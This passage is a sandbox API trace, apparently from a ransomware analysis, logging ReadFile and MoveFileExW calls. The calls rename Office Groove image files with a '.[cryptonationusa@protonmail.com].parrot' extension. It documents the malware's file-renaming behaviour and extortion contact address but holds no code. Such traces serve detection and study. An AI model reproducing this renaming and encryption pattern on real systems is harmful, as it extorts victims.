dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.559] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierBackgroundRTL.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierbackgroundrtl.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierBackgroundRTL.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierbackgroundrtl.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0186.565] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0186.565] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0186.567] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.567] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2f2, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2f2, lpOverlapped=0x0) returned 1 [0186.567] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.568] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierCloseButton.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierclosebutton.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierCloseButton.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierclosebutton.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0186.573] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0186.573] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0186.575] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.575] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2cc, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2cc, lpOverlapped=0x0) returned 1 [0186.575] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.575] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDisableDownArrow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierdisabledownarrow.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDisableDownArrow.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierdisabledownarrow.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0186.580] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0186.580] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0186.582] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.582] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x307, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x307, lpOverlapped=0x0) returned 1 [0186.583] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.583] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDisableUpArrow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierdisableuparrow.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDisableUpArrow.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierdisableuparrow.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0186.619] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0186.619] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0186.620] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.621] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x368, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x368, lpOverlapped=0x0) returned 1 [0186.621] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.621] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDownArrow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierdownarrow.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDownArrow.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierdownarrow.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0186.627] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0186.627] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0186.633] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.634] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3c0, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x3c0, lpOverlapped=0x0) returned 1 [0186.634] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.636] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierUpArrow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifieruparrow.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierUpArrow.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifieruparrow.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0186.643] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0186.643] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0186.645] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.645] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x133a, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x133a, lpOverlapped=0x0) returned 1 [0186.646] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.646] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierWindowMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierwindowmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierWindowMask.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierwindowmask.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0186.652] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0186.652] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0186.668] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.669] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x133a, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x133a, lpOverlapped=0x0) returned 1 [0186.670] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.670] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierWindowMaskRTL.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierwindowmaskrtl.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierWindowMaskRTL.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierwindowmaskrtl.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0186.676] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0186.676] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0186.678] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.678] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e35, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1e35, lpOverlapped=0x0) returned 1 [0186.679] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.679] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutlineToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\outlinetooliconimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutlineToolIconImages.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\outlinetooliconimages.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0186.685] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0186.685] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0186.686] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.686] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1938, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1938, lpOverlapped=0x0) returned 1 [0186.687] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.688] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutlineToolIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\outlinetooliconimagesmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutlineToolIconImagesMask.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\outlinetooliconimagesmask.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0186.693] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0186.693] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0186.694] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.695] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf8d, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xf8d, lpOverlapped=0x0) returned 1 [0186.695] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.695] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutofSyncIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\outofsynciconimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutofSyncIconImages.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\outofsynciconimages.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0186.701] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0186.701] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0186.702] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.702] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc0, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xc0, lpOverlapped=0x0) returned 1 [0186.703] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.703] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutofSyncIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\outofsynciconimagesmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\OutofSyncIconImagesMask.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\outofsynciconimagesmask.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0186.708] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0186.708] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0186.709] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.710] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5203, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x5203, lpOverlapped=0x0) returned 1 [0186.711] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.711] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\PicturesToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\picturestooliconimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\PicturesToolIconImages.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\picturestooliconimages.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0186.716] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0186.716] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0186.717] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.718] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1238, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1238, lpOverlapped=0x0) returned 1 [0186.718] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.719] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\PicturesToolIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\picturestooliconimagesmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\PicturesToolIconImagesMask.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\picturestooliconimagesmask.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0186.723] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0186.723] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0186.725] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.725] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc1b, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xc1b, lpOverlapped=0x0) returned 1 [0186.725] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.726] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\QuestionIcon.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\questionicon.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\QuestionIcon.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\questionicon.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0186.730] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0186.730] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0186.732] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.732] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x838, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x838, lpOverlapped=0x0) returned 1 [0186.732] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.733] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\QuestionIconMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\questioniconmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\QuestionIconMask.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\questioniconmask.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0186.739] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0186.739] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0186.740] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.740] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x64fa, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x64fa, lpOverlapped=0x0) returned 1 [0186.742] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.742] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared16x16Images.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\shared16x16images.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared16x16Images.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\shared16x16images.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0186.748] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0186.748] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0186.749] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.749] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf38, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xf38, lpOverlapped=0x0) returned 1 [0186.750] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.750] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared16x16ImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\shared16x16imagesmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared16x16ImagesMask.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft 